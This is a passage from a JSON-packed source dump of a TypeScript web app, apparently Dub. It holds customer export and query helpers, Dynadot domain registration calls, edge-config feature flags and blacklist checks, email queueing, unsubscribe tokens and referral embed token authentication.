    "content": "import {\n  CUSTOMER_EXPORT_COLUMNS,\n  CUSTOMER_EXPORT_DEFAULT_COLUMNS,\n} from \"@/lib/zod/schemas/customers\";\nimport type { Customer, Link, ProgramEnrollment } from \"@dub/prisma/client\";\nimport { toCentsNumber } from \"@dub/utils\";\n\ntype CustomerForExport = Customer & {\n  link?: Pick<Link, \"shortLink\" | \"url\"> | null;\n  programEnrollment?:\n    | (ProgramEnrollment & {\n        partner: {\n          id: string;\n          name: string | null;\n          email: string | null;\n          image: string | null;\n        };\n      })\n    | null;\n};\n\nconst dateToIso = (d: Date | null) => (d ? d.toISOString() : \"\");\n\nconst columnOrderById = new Map<string, number>(\n  CUSTOMER_EXPORT_COLUMNS.map((col) => [col.id, col.order]),\n);\n\nexport function formatCustomersForExport(\n  customers: CustomerForExport[],\n  columns: string[] = CUSTOMER_EXPORT_DEFAULT_COLUMNS,\n) {\n  const sortedColumns = [...columns].sort(\n    (a, b) => (columnOrderById.get(a) ?? 999) - (columnOrderById.get(b) ?? 999),\n  );\n\n  return customers.map((c) => {\n    const partner = c.programEnrollment?.partner;\n    const link = c.link;\n\n    const full: Record<string, string | number> = {\n      id: c.id,\n      name: c.name || c.email || \"\",\n      email: c.email ?? \"\",\n      avatar: c.avatar ?? \"\",\n      externalId: c.externalId ?? \"\",\n      stripeCustomerId: c.stripeCustomerId ?? \"\",\n      country: c.country ?? \"\",\n      sales: c.sales ?? 0,\n      saleAmount: toCentsNumber(c.saleAmount ?? 0),\n      createdAt: dateToIso(c.createdAt),\n      firstSaleAt: dateToIso(c.firstSaleAt),\n      subscriptionCanceledAt: dateToIso(c.subscriptionCanceledAt),\n      link: link?.shortLink ?? link?.url ?? \"\",\n      partnerId: partner?.id ?? \"\",\n      partnerName: partner?.name ?? \"\",\n      partnerEmail: partner?.email ?? \"\",\n      partnerTenantId: c.programEnrollment?.tenantId ?? \"\",\n    };\n\n    return sortedColumns.reduce<Record<string, string | number>>((acc, key) => {\n      if (key in full) acc[key] = full[key];\n      return acc;\n    }, {});\n  });\n}\n"
  },
  {
    "path": "apps/web/lib/customers/api/get-customers.ts",
    "content": "import { getCustomersQuerySchemaExtended } from \"@/lib/zod/schemas/customers\";\nimport { prisma, sanitizeFullTextSearch } from \"@dub/prisma\";\nimport * as z from \"zod/v4\";\nimport { DubApiError } from \"../../api/errors\";\nimport { buildPaginationQuery } from \"../../api/pagination\";\n\ntype GetCustomersInput = z.infer<typeof getCustomersQuerySchemaExtended> & {\n  workspaceId: string;\n};\n\nexport async function getCustomers(filters: GetCustomersInput) {\n  const {\n    customerIds,\n    programId,\n    partnerId,\n    workspaceId,\n    email,\n    externalId,\n    search,\n    country,\n    linkId,\n    includeExpandedFields,\n    startingAfter,\n    endingBefore,\n  } = filters;\n\n  const paginationQuery = buildPaginationQuery(filters);\n\n  // Validate the provided cursor ID\n  const cursorId = startingAfter || endingBefore;\n\n  if (cursorId) {\n    const customer = await prisma.customer.findUnique({\n      where: {\n        id: cursorId,\n      },\n      select: {\n        id: true,\n        projectId: true,\n      },\n    });\n\n    if (!customer || customer.projectId !== workspaceId) {\n      throw new DubApiError({\n        code: \"unprocessable_entity\",\n        message: \"Invalid cursor: the provided ID does not exist.\",\n      });\n    }\n  }\n\n  return await prisma.customer.findMany({\n    where: {\n      ...(customerIds\n        ? {\n            id: { in: customerIds },\n          }\n        : {}),\n      ...(programId && {\n        programId,\n      }),\n      ...(partnerId && {\n        partnerId,\n      }),\n      projectId: workspaceId,\n      ...(email\n        ? { email }\n        : externalId\n          ? { externalId }\n          : search\n            ? search.includes(\"@\")\n              ? { email: search }\n              : {\n                  email: { search: sanitizeFullTextSearch(search) },\n                  name: { search: sanitizeFullTextSearch(search) },\n                }\n            : {}),\n      ...(country && {\n        country,\n      }),\n      ...(linkId && {\n        linkId,\n      }),\n    },\n    ...paginationQuery,\n    ...(includeExpandedFields\n      ? {\n          include: {\n            link: {\n              select: {\n                id: true,\n                domain: true,\n                key: true,\n                shortLink: true,\n                url: true,\n                programId: true,\n              },\n            },\n            programEnrollment: {\n              include: {\n                partner: {\n                  select: {\n                    id: true,\n                    name: true,\n                    email: true,\n                    image: true,\n                  },\n                },\n                discount: true,\n              },\n            },\n          },\n        }\n      : {}),\n  });\n}\n"
  },
  {
    "path": "apps/web/lib/dub.ts",
    "content": "import { Dub } from \"dub\";\n\nexport const dub = new Dub();\n\n// fetch Dub customer using their external ID (ID in our database)\nexport const getDubCustomer = async (userId: string) => {\n  const customer = await dub.customers.list({\n    externalId: userId,\n    includeExpandedFields: true,\n  });\n\n  return customer.length > 0 ? customer[0] : null;\n};\n"
  },
  {
    "path": "apps/web/lib/dynadot/constants.ts",
    "content": "export const DYNADOT_BASE_URL =\n  process.env.DYNADOT_BASE_URL || \"https://api.dynadot.com/api3.json\";\nexport const DYNADOT_API_KEY = process.env.DYNADOT_API_KEY || \"\";\nexport const DYNADOT_COUPON = process.env.DYNADOT_COUPON || \"\";\n\n// TODO: this logic is hard-coded for now, but we'll make it dynamic in the future\nexport const DOMAIN_REGISTRATION_ELIGIBLE_WORKSPACES = [\n  \"clrei1gld0002vs9mzn93p8ik\",\n  \"ws_1JT00MX4K1KQFMT2FEF6413XT\",\n  \"ws_1KJTC56GDYF3P9AHXSAQS5RGW\",\n];\n"
  },
  {
    "path": "apps/web/lib/dynadot/register-domain.ts",
    "content": "import * as z from \"zod/v4\";\nimport { DubApiError } from \"../api/errors\";\nimport { RegisterDomainSchema } from \"../zod/schemas/domains\";\nimport { DYNADOT_API_KEY, DYNADOT_BASE_URL, DYNADOT_COUPON } from \"./constants\";\n\n/*\nPossible statuses:\n  success\n  error\n  not_available\n  insufficient_funds\n  over_quota – When Dynadot's system detects an unusually high number of registration calls within a specific timeframe. This is a rare occurrence and typically not triggered under normal conditions.\n  order_pending_process –  means the order was created for the command, however there is something need additional investigation, and our team will step in later on to process the order accordingtly.\n  system_busy – normally means the system/connection is currently busy, you may retry command after a period of time\n*/\n\nconst schema = z.object({\n  RegisterResponse: z.object({\n    Status: z.string(),\n    DomainName: z.string(),\n    Error: z.string().optional(),\n    Expiration: z.number().optional(),\n  }),\n});\n\nconst ERROR_CODES = {\n  not_available: \"Domain not available.\",\n  system_busy: \"System is busy. Please try again.\",\n};\n\nexport const registerDomain = async ({ domain }: { domain: string }) => {\n  const searchParams = new URLSearchParams({\n    domain,\n    command: \"register\",\n    duration: \"1\",\n    currency: \"USD\",\n    coupon: DYNADOT_COUPON,\n    key: DYNADOT_API_KEY,\n  });\n\n  const response = await fetch(\n    `${DYNADOT_BASE_URL}?${searchParams.toString()}`,\n    {\n      headers: {\n        \"Content-Type\": \"application/x-www-form-urlencoded\",\n      },\n    },\n  );\n\n  if (!response.ok) {\n    throw new DubApiError({\n      code: \"bad_request\",\n      message: `Failed to register domain: ${response.statusText}`,\n    });\n  }\n\n  const data = schema.parse(await response.json());\n\n  const { Status, Error } = data.RegisterResponse;\n\n  if (Status !== \"success\") {\n    throw new DubApiError({\n      code: \"bad_request\",\n      message:\n        Error ||\n        ERROR_CODES[Status] ||\n        \"Failed to register domain. Please try again.\",\n    });\n  }\n\n  return RegisterDomainSchema.parse({\n    domain,\n    status: Status,\n    expiration: data.RegisterResponse.Expiration,\n  });\n};\n"
  },
  {
    "path": "apps/web/lib/dynadot/search-domains.ts",
    "content": "import * as z from \"zod/v4\";\nimport { DubApiError } from \"../api/errors\";\nimport { DomainStatusSchema } from \"../zod/schemas/domains\";\nimport { DYNADOT_API_KEY, DYNADOT_BASE_URL } from \"./constants\";\n\nconst schema = z.object({\n  SearchResponse: z.object({\n    ResponseCode: z.enum([\"0\", \"-1\"]),\n    SearchResults: z.array(\n      z.object({\n        DomainName: z.string(),\n        Available: z.enum([\"yes\", \"no\"]).nullish().default(\"no\"),\n        Price: z.string().nullish().default(null),\n        Status: z.string().nullish().default(null),\n      }),\n    ),\n  }),\n});\n\nexport const searchDomainsAvailability = async ({\n  domains,\n}: {\n  domains: Record<string, string>;\n}) => {\n  const searchParams = new URLSearchParams({\n    ...domains,\n    command: \"search\",\n    show_price: \"1\",\n    currency: \"USD\",\n    key: DYNADOT_API_KEY,\n  });\n\n  const response = await fetch(\n    `${DYNADOT_BASE_URL}?${searchParams.toString()}`,\n    {\n      headers: {\n        \"Content-Type\": \"application/json\",\n      },\n    },\n  );\n\n  if (!response.ok) {\n    throw new DubApiError({\n      code: \"bad_request\",\n      message: `Failed to search domains: ${response.statusText}`,\n    });\n  }\n\n  const data = schema.parse(await response.json());\n\n  if (data.SearchResponse.ResponseCode === \"-1\") {\n    throw new DubApiError({\n      code: \"bad_request\",\n      message: `Failed to search domains: ${data.SearchResponse}`,\n    });\n  }\n\n  const result = data.SearchResponse.SearchResults.map((result) => {\n    const premium = result.Price && /is\\s+a Premium Domain/.test(result.Price);\n\n    return {\n      domain: result.DomainName,\n      available: result.Available === \"yes\" && !premium,\n      price: result.Price,\n      premium,\n    };\n  });\n\n  return DomainStatusSchema.array().parse(result);\n};\n"
  },
  {
    "path": "apps/web/lib/dynadot/set-renew-option.ts",
    "content": "import { log } from \"@dub/utils\";\nimport * as z from \"zod/v4\";\nimport { DYNADOT_API_KEY, DYNADOT_BASE_URL } from \"./constants\";\n\nconst responseSchema = z.object({\n  SetRenewOptionResponse: z.object({\n    ResponseCode: z.number(),\n    Status: z.string(),\n  }),\n});\n\nexport const setRenewOption = async ({\n  domain,\n  autoRenew,\n}: {\n  domain: string;\n  autoRenew: boolean;\n}) => {\n  const searchParams = new URLSearchParams({\n    key: DYNADOT_API_KEY,\n    command: \"set_renew_option\",\n    domain,\n    renew_option: autoRenew ? \"auto\" : \"donot\",\n  });\n\n  try {\n    const response = await fetch(\n      `${DYNADOT_BASE_URL}?${searchParams.toString()}`,\n      {\n        headers: {\n          \"Content-Type\": \"application/x-www-form-urlencoded\",\n        },\n      },\n    );\n\n    if (!response.ok) {\n      console.error(response);\n      throw new Error(`Failed to set renew option: ${response.statusText}`);\n    }\n\n    const {\n      SetRenewOptionResponse: { Status },\n    } = responseSchema.parse(await response.json());\n\n    if (Status !== \"success\") {\n      throw new Error(`Failed to set renew option: ${Status}`);\n    }\n\n    console.log(\n      `Auto-renew for ${domain} is ${autoRenew ? \"enabled\" : \"disabled\"}.`,\n    );\n  } catch (error) {\n    await log({\n      message: `Failed to set renew option for ${domain}: ${error.message}`,\n      type: \"errors\",\n      mention: true,\n    });\n\n    console.error(error);\n  }\n};\n"
  },
  {
    "path": "apps/web/lib/edge-config/get-feature-flags.ts",
    "content": "import { get } from \"@vercel/edge-config\";\nimport { prefixWorkspaceId } from \"../api/workspaces/workspace-id\";\nimport { BetaFeatures } from \"../types\";\n\ntype BetaFeaturesRecord = Record<BetaFeatures, string[]>;\n\nexport const getFeatureFlags = async ({\n  workspaceId,\n  workspaceSlug,\n}: {\n  workspaceId?: string;\n  workspaceSlug?: string;\n}) => {\n  if (workspaceId) {\n    workspaceId = prefixWorkspaceId(workspaceId);\n  }\n\n  const workspaceFeatures: Record<BetaFeatures, boolean> = {\n    noDubLink: false,\n    analyticsSettingsSiteVisitTracking: false,\n  };\n\n  if (!process.env.NEXT_PUBLIC_IS_DUB || !process.env.EDGE_CONFIG) {\n    // return all features as true if edge config is not available\n    return Object.fromEntries(\n      Object.entries(workspaceFeatures).map(([key, _v]) => [key, true]),\n    );\n  } else if (!workspaceId && !workspaceSlug) {\n    return workspaceFeatures;\n  }\n\n  let betaFeatures: BetaFeaturesRecord | undefined = undefined;\n\n  try {\n    betaFeatures = await get(\"betaFeatures\");\n  } catch (e) {\n    console.error(`Error getting beta features: ${e}`);\n  }\n\n  if (betaFeatures) {\n    for (const [featureFlag, workspaceIdsOrSlugs] of Object.entries(\n      betaFeatures,\n    )) {\n      if (\n        (workspaceId && workspaceIdsOrSlugs.includes(workspaceId)) ||\n        (workspaceSlug && workspaceIdsOrSlugs.includes(workspaceSlug))\n      ) {\n        workspaceFeatures[featureFlag] = true;\n      }\n    }\n  }\n\n  return workspaceFeatures;\n};\n"
  },
  {
    "path": "apps/web/lib/edge-config/get-partner-feature-flags.ts",
    "content": "import { get } from \"@vercel/edge-config\";\nimport { PartnerBetaFeatures } from \"../types\";\n\ntype PartnerBetaFeaturesRecord = Partial<Record<PartnerBetaFeatures, string[]>>;\n\nexport const getPartnerFeatureFlags = async (partnerId: string) => {\n  const partnerFeatures: Record<PartnerBetaFeatures, boolean> = {\n    postbacks: false,\n  };\n\n  // Return all features as true if edge config is not available\n  if (!process.env.EDGE_CONFIG) {\n    return Object.fromEntries(\n      Object.entries(partnerFeatures).map(([key, _v]) => [key, true]),\n    );\n  }\n\n  let betaFeatures: PartnerBetaFeaturesRecord | undefined = undefined;\n\n  try {\n    betaFeatures = await get(\"partnerBetaFeatures\");\n  } catch (e) {\n    console.error(`Error getting partner beta features: ${e}`);\n  }\n\n  if (!betaFeatures) {\n    return partnerFeatures;\n  }\n\n  // It should be in the format of\n  // { featureA: [\"pn_1\", \"pn_2\"], featureB: [\"pn_1\"] }\n  for (const [featureFlag, partnerIds] of Object.entries(betaFeatures)) {\n    if (partnerIds?.includes(partnerId)) {\n      partnerFeatures[featureFlag] = true;\n    }\n  }\n\n  return partnerFeatures;\n};\n"
  },
  {
    "path": "apps/web/lib/edge-config/index.ts",
    "content": "export * from \"./get-feature-flags\";\nexport * from \"./get-partner-feature-flags\";\nexport * from \"./is-blacklisted-domain\";\nexport * from \"./is-blacklisted-email\";\nexport * from \"./is-blacklisted-key\";\nexport * from \"./is-blacklisted-referrer\";\nexport * from \"./is-reserved-username\";\nexport * from \"./update\";\n"
  },
  {
    "path": "apps/web/lib/edge-config/is-blacklisted-domain.ts",
    "content": "import { getAll } from \"@vercel/edge-config\";\n\nexport const isBlacklistedDomain = async (domain: string): Promise<boolean> => {\n  if (!process.env.NEXT_PUBLIC_IS_DUB || !process.env.EDGE_CONFIG) {\n    return false;\n  }\n\n  if (!domain) {\n    return false;\n  }\n\n  try {\n    const {\n      domains: blacklistedDomains,\n      terms: blacklistedTerms,\n      whitelistedDomains,\n    } = await getAll([\"domains\", \"terms\", \"whitelistedDomains\"]);\n\n    if (whitelistedDomains.includes(domain)) {\n      console.log(\"Domain is whitelisted\", domain);\n      return false;\n    }\n\n    const blacklistedTermsRegex = new RegExp(\n      blacklistedTerms\n        .map((term: string) => term.replace(/[.*+?^${}()|[\\]\\\\]/g, \"\\\\$&\")) // replace special characters with escape sequences\n        .join(\"|\"),\n    );\n\n    const isBlacklisted =\n      blacklistedDomains.includes(domain) || blacklistedTermsRegex.test(domain);\n\n    if (isBlacklisted) {\n      return true;\n    }\n\n    return false;\n  } catch (e) {\n    return false;\n  }\n};\n"
  },
  {
    "path": "apps/web/lib/edge-config/is-blacklisted-email.ts",
    "content": "import { get } from \"@vercel/edge-config\";\n\nexport const isBlacklistedEmail = async (email: string | string[]) => {\n  if (!process.env.NEXT_PUBLIC_IS_DUB || !process.env.EDGE_CONFIG) {\n    return false;\n  }\n\n  let blacklistedEmails;\n  try {\n    blacklistedEmails = await get(\"emails\");\n  } catch (e) {\n    blacklistedEmails = [];\n  }\n  if (blacklistedEmails.length === 0) return false;\n\n  if (Array.isArray(email)) {\n    return email.some((e) =>\n      new RegExp(blacklistedEmails.join(\"|\"), \"i\").test(e),\n    );\n  }\n\n  return new RegExp(blacklistedEmails.join(\"|\"), \"i\").test(email);\n};\n"
  },
  {
    "path": "apps/web/lib/edge-config/is-blacklisted-key.ts",
    "content": "import { get } from \"@vercel/edge-config\";\n\nexport const isBlacklistedKey = async (key: string) => {\n  if (!process.env.NEXT_PUBLIC_IS_DUB || !process.env.EDGE_CONFIG) {\n    return false;\n  }\n\n  let blacklistedKeys;\n  try {\n    blacklistedKeys = await get(\"keys\");\n  } catch (e) {\n    blacklistedKeys = [];\n  }\n  if (blacklistedKeys.length === 0) return false;\n  return new RegExp(blacklistedKeys.join(\"|\"), \"i\").test(key);\n};\n"
  },
  {
    "path": "apps/web/lib/edge-config/is-blacklisted-referrer.ts",
    "content": "import { getDomainWithoutWWW } from \"@dub/utils\";\nimport { get } from \"@vercel/edge-config\";\n\nexport const isBlacklistedReferrer = async (referrer: string | null) => {\n  if (!process.env.NEXT_PUBLIC_IS_DUB || !process.env.EDGE_CONFIG) {\n    return false;\n  }\n\n  const hostname = referrer ? getDomainWithoutWWW(referrer) : \"(direct)\";\n  let referrers;\n  try {\n    referrers = await get(\"referrers\");\n  } catch (e) {\n    referrers = [];\n  }\n  return !referrers.includes(hostname);\n};\n"
  },
  {
    "path": "apps/web/lib/edge-config/is-reserved-username.ts",
    "content": "import { get } from \"@vercel/edge-config\";\n\n/**\n * Only for dub.sh / dub.link domains\n * Check if a username is reserved – should only be available on Pro+\n */\nexport const isReservedUsername = async (key: string) => {\n  if (!process.env.NEXT_PUBLIC_IS_DUB || !process.env.EDGE_CONFIG) {\n    return false;\n  }\n\n  let reservedUsernames;\n  try {\n    reservedUsernames = await get(\"reservedUsernames\");\n  } catch (e) {\n    reservedUsernames = [];\n  }\n  return reservedUsernames.includes(key.toLowerCase());\n};\n"
  },
  {
    "path": "apps/web/lib/edge-config/update.ts",
    "content": "import { get } from \"@vercel/edge-config\";\n\nexport const updateConfig = async ({\n  key,\n  value,\n}: {\n  key:\n    | \"domains\"\n    | \"whitelistedDomains\"\n    | \"terms\"\n    | \"referrers\"\n    | \"keys\"\n    | \"whitelist\"\n    | \"emails\"\n    | \"reserved\"\n    | \"reservedUsernames\"\n    | \"partnersPortal\";\n  value: string;\n}) => {\n  if (!process.env.EDGE_CONFIG_ID) {\n    return;\n  }\n\n  const existingData = (await get(key)) as string[];\n  const newData = Array.from(new Set([...existingData, value]));\n\n  return await fetch(\n    `https://api.vercel.com/v1/edge-config/${process.env.EDGE_CONFIG_ID}/items?teamId=${process.env.TEAM_ID_VERCEL}`,\n    {\n      method: \"PATCH\",\n      headers: {\n        Authorization: `Bearer ${process.env.AUTH_BEARER_TOKEN}`,\n        \"Content-Type\": \"application/json\",\n      },\n      body: JSON.stringify({\n        items: [\n          {\n            operation: \"update\",\n            key: key,\n            value: newData,\n          },\n        ],\n      }),\n    },\n  );\n};\n"
  },
  {
    "path": "apps/web/lib/email/email-templates-map.ts",
    "content": "import BountyApproved from \"@dub/email/templates/bounty-approved\";\nimport DubProductUpdateMar26 from \"@dub/email/templates/broadcasts/dub-product-update-mar26\";\nimport ConnectPayoutReminder from \"@dub/email/templates/connect-payout-reminder\";\nimport ConnectPlatformsReminder from \"@dub/email/templates/connect-platforms-reminder\";\nimport PartnerBanned from \"@dub/email/templates/partner-banned\";\nimport PartnerDeactivated from \"@dub/email/templates/partner-deactivated\";\nimport PartnerGroupChanged from \"@dub/email/templates/partner-group-changed\";\nimport PartnerPayoutConfirmed from \"@dub/email/templates/partner-payout-confirmed\";\nimport PartnerPayoutProcessed from \"@dub/email/templates/partner-payout-processed\";\nimport ProgramPayoutThankYou from \"@dub/email/templates/program-payout-thank-you\";\nimport UnresolvedFraudEventsSummary from \"@dub/email/templates/unresolved-fraud-events-summary\";\n\nexport const EMAIL_TEMPLATES_MAP = {\n  BountyApproved,\n  ConnectPayoutReminder,\n  ConnectPlatformsReminder,\n  PartnerPayoutConfirmed,\n  PartnerPayoutProcessed,\n  PartnerDeactivated,\n  PartnerBanned,\n  ProgramPayoutThankYou,\n  UnresolvedFraudEventsSummary,\n  PartnerGroupChanged,\n\n  // special promo emails\n  // DubPartnerRewind,\n  DubProductUpdateMar26,\n  // PayoutAutoWithdrawals,\n  // ProgramMarketplaceAnnouncement,\n  // StablecoinPayoutsAnnouncement,\n} as const;\n"
  },
  {
    "path": "apps/web/lib/email/extract-email-domain.ts",
    "content": "// Extract domain from email\nexport function extractEmailDomain(email: string) {\n  const parts = email.toLowerCase().trim().split(\"@\");\n\n  if (parts.length !== 2 || !parts[0] || !parts[1]) {\n    return null;\n  }\n\n  return parts[1];\n}\n"
  },
  {
    "path": "apps/web/lib/email/queue-batch-email.ts",
    "content": "import { qstash } from \"@/lib/cron\";\nimport { ResendEmailOptions } from \"@dub/email/resend/types\";\nimport { APP_DOMAIN_WITH_NGROK, chunk, log } from \"@dub/utils\";\nimport { EMAIL_TEMPLATES_MAP } from \"./email-templates-map\";\n\ntype QueueBatchProps<TTemplate extends (props: any) => any> =\n  ResendEmailOptions & {\n    templateName: keyof typeof EMAIL_TEMPLATES_MAP;\n    templateProps: Parameters<TTemplate>[0];\n  };\n\nconst BATCH_SIZE = 100;\n\nconst queue = qstash.queue({\n  queueName: \"send-batch-email\",\n});\n\nexport async function queueBatchEmail<TTemplate extends (props: any) => any>(\n  emails: QueueBatchProps<TTemplate>[],\n  options?: {\n    idempotencyKey?: string; // Used for both QStash deduplication AND Resend idempotency\n  },\n): Promise<string[]> {\n  // filter out emails without a `to` address\n  emails = emails.filter((email) => Boolean(email.to));\n\n  if (emails.length === 0) {\n    console.log(\"No emails to queue. Skipping...\");\n    return [];\n  }\n\n  try {\n    // Chunk emails into batches of BATCH_SIZE\n    const batches = chunk(emails, BATCH_SIZE);\n    const messageIds: string[] = [];\n\n    // Enqueue each batch\n    for (let i = 0; i < batches.length; i++) {\n      const batch = batches[i];\n\n      // Generate batch-specific idempotency key\n      const idempotencyKey = options?.idempotencyKey\n        ? batches.length > 1\n          ? `${options.idempotencyKey}-batch-${i}`\n          : options.idempotencyKey\n        : undefined;\n\n      const response = await queue.enqueueJSON({\n        url: `${APP_DOMAIN_WITH_NGROK}/api/cron/send-batch-email`,\n        method: \"POST\",\n        body: batch,\n        ...(idempotencyKey && {\n          deduplicationId: idempotencyKey, // QStash deduplication\n        }),\n        ...(idempotencyKey && {\n          headers: {\n            \"Idempotency-Key\": idempotencyKey, // Resend idempotency\n          },\n        }),\n      });\n\n      messageIds.push(response.messageId);\n\n      console.log(\n        `Enqueued batch ${i + 1}/${batches.length} with ${batch.length} email(s):`,\n        {\n          messageId: response.messageId,\n          ...(idempotencyKey && { idempotencyKey }),\n        },\n      );\n    }\n\n    console.log(\n      `Queued ${emails.length} email(s) in ${batches.length} batch(es)`,\n    );\n\n    return messageIds;\n  } catch (error) {\n    await log({\n      message: `Failed to queue batch emails: ${error.message}`,\n      type: \"errors\",\n      mention: true,\n    });\n\n    throw error;\n  }\n}\n"
  },
  {
    "path": "apps/web/lib/email/unsubscribe-token.ts",
    "content": "import { createHmac, timingSafeEqual } from \"crypto\";\n\nconst TOKEN_SECRET =\n  process.env.UNSUBSCRIBE_TOKEN_SECRET || process.env.NEXTAUTH_SECRET;\n\n/**\n * Generate a secure unsubscribe token for an email address.\n * The token is a combination of the email and a signature that can be verified.\n */\nexport function generateUnsubscribeToken(email: string): string {\n  if (!TOKEN_SECRET) throw new Error(\"UNSUBSCRIBE_TOKEN_SECRET is not set\");\n\n  const signature = createHmac(\"sha256\", TOKEN_SECRET)\n    .update(email.toLowerCase())\n    .digest(\"hex\")\n    .slice(0, 24); // Truncate for shorter URLs\n\n  // Base64 encode the email and append the signature\n  const encodedEmail = Buffer.from(email.toLowerCase()).toString(\"base64url\");\n  return `${encodedEmail}.${signature}`;\n}\n\n/**\n * Verify and decode an unsubscribe token.\n * Returns the email if valid, null otherwise.\n */\nexport function verifyUnsubscribeToken(token: string): string | null {\n  try {\n    const [encodedEmail, signature] = token.split(\".\");\n    if (!encodedEmail || !signature) {\n      return null;\n    }\n\n    const email = Buffer.from(encodedEmail, \"base64url\").toString(\"utf-8\");\n\n    if (!TOKEN_SECRET) throw new Error(\"UNSUBSCRIBE_TOKEN_SECRET is not set\");\n\n    // Verify the signature\n    const expectedSignature = createHmac(\"sha256\", TOKEN_SECRET)\n      .update(email.toLowerCase())\n      .digest(\"hex\")\n      .slice(0, 24);\n\n    if (\n      !timingSafeEqual(\n        Uint8Array.from(Buffer.from(signature)),\n        Uint8Array.from(Buffer.from(expectedSignature)),\n      )\n    ) {\n      return null;\n    }\n\n    return email;\n  } catch {\n    return null;\n  }\n}\n"
  },
  {
    "path": "apps/web/lib/embed/constants.ts",
    "content": "// Embed public token\nexport const EMBED_PUBLIC_TOKEN_PREFIX = \"dub_embed_\";\n\nexport const PARTNER_LINKS_LIMIT = 10;\n\nexport const EMBED_PUBLIC_TOKEN_EXPIRY = 3 * 60 * 60; // 3 hours\n"
  },
  {
    "path": "apps/web/lib/embed/referrals/auth.ts",
    "content": "import { DubApiError, handleAndReturnErrorResponse } from \"@/lib/api/errors\";\nimport { withAxiom } from \"@/lib/axiom/server\";\nimport { PartnerGroupProps } from \"@/lib/types\";\nimport { ratelimit } from \"@/lib/upstash\";\nimport { prisma } from \"@dub/prisma\";\nimport { Link, Program, ProgramEnrollment } from \"@dub/prisma/client\";\nimport { getSearchParams } from \"@dub/utils\";\nimport { headers } from \"next/headers\";\nimport { referralsEmbedToken } from \"./token-class\";\n\ninterface WithReferralsEmbedTokenHandler {\n  ({\n    req,\n    params,\n    searchParams,\n    program,\n    programEnrollment,\n    group,\n    links,\n    embedToken,\n  }: {\n    req: Request;\n    params: Record<string, string>;\n    searchParams: Record<string, string>;\n    program: Program;\n    programEnrollment: ProgramEnrollment;\n    group: PartnerGroupProps;\n    links: Link[];\n    embedToken: string;\n  }): Promise<Response>;\n}\n\nexport const withReferralsEmbedToken = (\n  handler: WithReferralsEmbedTokenHandler,\n) => {\n  return withAxiom(\n    async (\n      req,\n      { params: initialParams }: { params: Promise<Record<string, string>> },\n    ) => {\n      const params = (await initialParams) || {};\n      const requestHeaders = await headers();\n      let responseHeaders = new Headers();\n\n      try {\n        const rateLimit = 60;\n        const searchParams = getSearchParams(req.url);\n        const embedToken = requestHeaders.get(\"Authorization\")?.split(\" \")[1];\n\n        if (!embedToken) {\n          throw new DubApiError({\n            code: \"unauthorized\",\n            message: \"Embed public token not found in the request.\",\n          });\n        }\n\n        const { programId, partnerId } =\n          (await referralsEmbedToken.get(embedToken)) ?? {};\n\n        if (!programId || !partnerId) {\n          throw new DubApiError({\n            code: \"unauthorized\",\n            message: \"Invalid embed public token.\",\n          });\n        }\n\n        const { success, limit, reset, remaining } = await ratelimit(\n          rateLimit,\n          \"1 m\",\n        ).limit(embedToken);\n\n        responseHeaders.set(\"Retry-After\", reset.toString());\n        responseHeaders.set(\"X-RateLimit-Limit\", limit.toString());\n        responseHeaders.set(\"X-RateLimit-Remaining\", remaining.toString());\n        responseHeaders.set(\"X-RateLimit-Reset\", reset.toString());\n\n        if (!success) {\n          throw new DubApiError({\n            code: \"rate_limit_exceeded\",\n            message: \"Too many requests.\",\n          });\n        }\n\n        const { program, links, partnerGroup, ...programEnrollment } =\n          await prisma.programEnrollment.findUniqueOrThrow({\n            where: {\n              partnerId_programId: {\n                partnerId,\n                programId,\n              },\n            },\n            include: {\n              links: {\n                orderBy: [\n                  {\n                    saleAmount: \"desc\",\n                  },\n                  {\n                    leads: \"desc\",\n                  },\n                  {\n                    clicks: \"desc\",\n                  },\n                ],\n              },\n              program: true,\n              partnerGroup: true,\n            },\n          });\n\n        if (!partnerGroup) {\n          throw new DubApiError({\n            code: \"forbidden\",\n            message:\n              \"You’re not part of any group yet. Please reach out to the program owner to be added.\",\n          });\n        }\n\n        return await handler({\n          req,\n          params,\n          searchParams,\n          program,\n          programEnrollment,\n          group: partnerGroup as PartnerGroupProps,\n          links,\n          embedToken,\n        });\n      } catch (error) {\n        return handleAndReturnErrorResponse(error, responseHeaders);\n      }\n    },\n  );\n};\n"
  },
  {
    "path": "apps/web/lib/embed/referrals/token-class.ts",
    "content": "import { createId } from \"@/lib/api/create-id\";\nimport { redis } from \"@/lib/upstash\";\nimport {\n  EMBED_PUBLIC_TOKEN_EXPIRY,\n  EMBED_PUBLIC_TOKEN_PREFIX,\n} from \"../constants\";\n\ninterface ReferralsEmbedTokenProps {\n  programId: string;\n  partnerId: string;\n}\n\nclass ReferralsEmbedToken {\n  async create(props: ReferralsEmbedTokenProps) {\n    const publicToken = createId({\n      prefix: EMBED_PUBLIC_TOKEN_PREFIX,\n    });\n\n    await redis.set(publicToken, JSON.stringify(props), {\n      ex: EMBED_PUBLIC_TOKEN_EXPIRY,\n      nx: true,\n    });\n\n    return {\n      publicToken,\n      expires: new Date(Date.now() + EMBED_PUBLIC_TOKEN_EXPIRY * 1000),\n    };\n  }\n\n  async get(token: string) {\n    return await redis.get<ReferralsEmbedTokenProps>(token);\n  }\n}\n\nexport const referralsEmbedToken = new ReferralsEmbedToken();\n"
  },
  {
    "path": "apps/web/lib/exceeded-limit-error.ts",
    "content": "import { capitalize, currencyFormatter } from \"@dub/utils\";\nimport { PlanProps } from \"./types\";\n\nexport const exceededLimitError = ({\n  plan,\n  limit,\n  type,\n}: {\n  plan: PlanProps;\n  limit: number;\n  type:\n    | \"clicks\"\n    | \"links\"\n    | \"AI\"\n    | \"domains\"\n    | \"tags\"\n    | \"users\"\n    | \"folders\"\n    | \"payouts\"\n    | \"groups\";\n}) => {\n  return `You've reached your ${\n    [\"links\", \"AI\", \"payouts\"].includes(type) ? \"monthly\" : \"\"\n  } limit of ${\n    type === \"payouts\"\n      ? currencyFormatter(limit)\n      : `${limit} ${limit === 1 ? type.slice(0, -1) : type}`\n  } on the ${capitalize(plan)} plan. Please upgrade for higher limits.`;\n};\n"
  },
  {
    "path": "apps/web/lib/fetchers/get-content-api.ts",
